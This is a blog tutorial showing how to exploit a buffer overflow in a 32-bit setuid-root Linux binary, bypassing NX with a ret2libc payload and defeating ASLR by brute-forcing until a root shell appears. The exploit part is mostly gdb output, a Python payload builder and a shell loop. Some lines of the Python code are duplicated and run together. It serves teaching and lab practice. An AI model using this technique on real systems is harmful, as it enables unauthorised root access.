In this article we will try to bypass the ASLR (Address Space Layout Randomization) and  NX (non execute bit) techniques.

So we got this 32 bit binary “overflow” without source code and root suid bit turned on!

$ ls -al overflow 

-rwsr-sr-x 1 root root 7377 Jun 15 21:17 overflow

 

All we know is that it requires a string  as an argument,   let’s see if it is vulnerable to buffer overflow.

$ ./overflow $(python -c 'print "A" *1000')
Segmentation fault

Good! We got a buffer overflow.

First of all let’s  examine the binary in order to understand what it really does 😉

Objdump can help us in this case and  this is the output  of “objdump -d overflow” related to the main() function:

0804847d <main>:
 804847d: 55 push %ebp
 804847e: 89 e5 mov %esp,%ebp
 8048480: 83 e4 f0 and $0xfffffff0,%esp
 8048483: 83 c4 80 add $0xffffff80,%esp
 8048486: 83 7d 08 01 cmpl $0x1,0x8(%ebp)
 804848a: 7f 21 jg 80484ad <main+0x30>
 804848c: 8b 45 0c mov 0xc(%ebp),%eax
 804848f: 8b 00 mov (%eax),%eax
 8048491: 89 44 24 04 mov %eax,0x4(%esp)
 8048495: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
 804849c: e8 8f fe ff ff call 8048330 <printf@plt>
 80484a1: c7 04 24 00 00 00 00 movl $0x0,(%esp)
 80484a8: e8 b3 fe ff ff call 8048360 <exit@plt>
 80484ad: 8b 45 0c mov 0xc(%ebp),%eax
 80484b0: 83 c0 04 add $0x4,%eax
 80484b3: 8b 00 mov (%eax),%eax
 80484b5: 89 44 24 04 mov %eax,0x4(%esp)
 80484b9: 8d 44 24 1c lea 0x1c(%esp),%eax
 80484bd: 89 04 24 mov %eax,(%esp)
 80484c0: e8 7b fe ff ff call 8048340 <strcpy@plt>
 80484c5: b8 00 00 00 00 mov $0x0,%eax
 80484ca: c9 leave
 80484cb: c3 ret
 80484cc: 66 90 xchg %ax,%ax
 80484ce: 66 90 xchg %ax,%ax

We notice that the “strcpy” function is used and probably this one was the cause of the buffer overflow due to missing length check.

Time to move to  “gdb “with  peda extension (https://github.com/longld/peda) to gather more information.

First we have to find the exact offset of the buffer overflow:

gdb-peda$ pattern_create 1000 1000.txt
Writing pattern of 1000 chars to filename "1000.txt"
gdb-peda$ r $(cat 1000.txt)
Starting program: ovrflw $(cat 1000.txt)

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xfff12570 ("A$YA$wA$ZA$x")
EDX: 0xfff10d58 ("A$YA$wA$ZA$x")
ESI: 0x2 
EDI: 0xf7772000 --> 0x1b3db0 
EBP: 0x6941414d ('MAAi')
ESP: 0xfff109f0 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8"...)
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41384141
[------------------------------------stack-------------------------------------]
0000| 0xfff109f0 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8"...)
0004| 0xfff109f4 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...)
0008| 0xfff109f8 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%"...)
0012| 0xfff109fc ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%O"...)
0016| 0xfff10a00 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA"...)
0020| 0xfff10a04 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...)
0024| 0xfff10a08 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%Q"...)
0028| 0xfff10a0c ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ??

OK we got the pattern, now let’s find out the offset:

gdb-peda$ pattern_offset 0x41384141 
1094205761 found at offset: 112

Good! Offset is at 112 bytes. What next?

Let’s do some checks:

gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

 

Hmm.. not so good, NX  is  enabled, so we have to rethink the classical approach.

In order to bypass NX (Non executable stack) we can use the “ret2libc” technique (a specific attack  in which the attacker does not require any shellcode to take control of a target vulnerable process)  and invoke the classic built-in functions such as “system” etc…

The  address of these subroutines are already present in the process executable memory, but we have another problem: we have ASLR turned on (otherwise it would be 0):

$cat /proc/sys/kernel/randomize_va_space
2

 

$ldd overflow
linux-gate.so.1 (0xf7775000)linux-gate.so.1 (0xf7775000) 
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf758a000) 
/lib/ld-linux.so.2 (0x5662a000)
$ldd overflow
linux-gate.so.1 (0xf7721000) linux-gate.so.1 (0xf7721000) 
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7536000) 
/lib/ld-linux.so.2 (0x565d4000)

As you can see, address of “libc”  changes continuously….

Never give up! Let’s go on.

First of all we turn on address randomization in gdb on order to simulate our working environment.

gdb-peda$ set disable-randomization off
gdb-peda$ start
(....)

 

Even if ASLR is turned on, for the moment let’s ignore it.  Our purpose is to  call the C “system()” function passing “/bin/sh” as argument. We also need to invoke the “exit()” function in order to terminate gracefully our system call.

So what do we need? The addresses of these calls, as shown in gdb-peda

gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf76e3e48 ("/bin/sh")
gdb-peda$ p &exit
$1 = (<text variable, no debug info> *) 0xf75b57e0 <exit>
gdb-peda$ p &system
$2 = (<text variable, no debug info> *) 0xf75c1b30 <system>
gdb-peda$

We have all our information and  our payload could look like this one:

112 bytes + system address + exit address + /bin/sh address

Translated in python:

from struct import *from struct import *
buf = ""buf += "X"*(112)
buf += pack("<L",0xf75c1b30) #system() address
buf += pack("<L",0xf75b57e0) #exit() address
buf += pack("<L",0xf76e3e48 ) #/bin/sh call address
with open("buffer.txt", "w") as f: 
       f.write(buf)

In a perfect world, launching:

$./overflow $(cat buffer.txt)

would give us our superuser shell! But we have to defeat ASLR.. how? There are not so much alternatives.. bruteforcing is the solution.

Remember, our  binary is 32 bit, so it would not be so hard to find out the addresses, given that randomization in libc is limited to 8 bits…

How can we achieve this task? Very simple, with this shell script:

while true;do ./overflow $(cat buffer.txt);done

In this infinite loop we will match our address sooner or later (remember it’s a 32 bit ELF executable) and get our root shell…..

$while true; do ./ovreflow $(cat buffer.txt);done
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
#whoami
root

Great! isn’it ?

Thanks to @gedigi  for some wonderful hints!

That’s all 🙂

 

 

Advertisement

One thought on “Simple ASLR/NX bypass on a Linux 32 bit binary

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s